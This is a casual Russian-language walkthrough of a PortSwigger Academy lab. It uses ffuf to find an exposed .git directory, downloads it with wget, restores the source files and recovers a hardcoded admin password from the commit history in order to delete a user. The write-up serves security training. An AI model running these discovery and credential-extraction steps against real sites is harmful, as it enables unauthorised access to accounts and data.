В лабораторной работе можно получить доступ к системе контроля версий git и извлечь из нее данные для входа в учетную запись администратора.
Для решения нужно залогиниться от лица админа и удалить пользователя carlos.
https://0a3f00d5049e908f80d1448300ca0041.web-security-academy.net
Solution
Осмотрю сайт. Попробую залогиниться с постоянными кредами в лабах PortSwigger — wiener:peter, хоть их нам и не дали. Успех взломал, получается

Ладно, пойду запускать ffuf:
cu63:~/ $ ffuf -u https://0a3f00d5049e908f80d1448300ca0041.web-security-academy.net/FUZZ -w ~/wordlists/common.txt [17:04:24]
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://0a3f00d5049e908f80d1448300ca0041.web-security-academy.net/FUZZ
:: Wordlist : FUZZ: /Users/cu63/wordlists/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.git/HEAD [Status: 200, Size: 23, Words: 2, Lines: 2, Duration: 236ms]
.git/config [Status: 200, Size: 157, Words: 14, Lines: 9, Duration: 296ms]
.git/index [Status: 200, Size: 225, Words: 2, Lines: 3, Duration: 243ms]
.git/logs/ [Status: 200, Size: 548, Words: 152, Lines: 19, Duration: 324ms]
.git [Status: 200, Size: 1201, Words: 256, Lines: 27, Duration: 371ms]
ADMIN [Status: 401, Size: 2617, Words: 1049, Lines: 54, Duration: 69ms]
Login [Status: 200, Size: 3192, Words: 1315, Lines: 64, Duration: 71ms]
Admin [Status: 401, Size: 2617, Words: 1049, Lines: 54, Duration: 81ms]
admin [Status: 401, Size: 2617, Words: 1049, Lines: 54, Duration: 157ms]
analytics [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 62ms]
:: Progress: [1437/4686] :: Job [1/1] :: 54 req/sec :: Duration: [0:00:25] :: Errors: 0 ::
Сразу интересно) Пойду смотреть файлы .git:

Вот такое нашел в логах:

Скачаю директорию .git к себе на комп:
wget -r https://0a3f00d5049e908f80d1448300ca0041.web-security-academy.net/.git
Зайду в эту папку и введу следующую команду:
git restore .
Я смог восстановить файлы:

Попробу посмотреть логи изменений через git show:

Можно увидеть, что пароль 9fpnrxua13e5nx90y6kf раньше был захардкожен, а теперь берется из env. Но я все равно его достал. Бегом в ЛК, пока не спалили)

Удалил пользователя, а значит лаба решена)
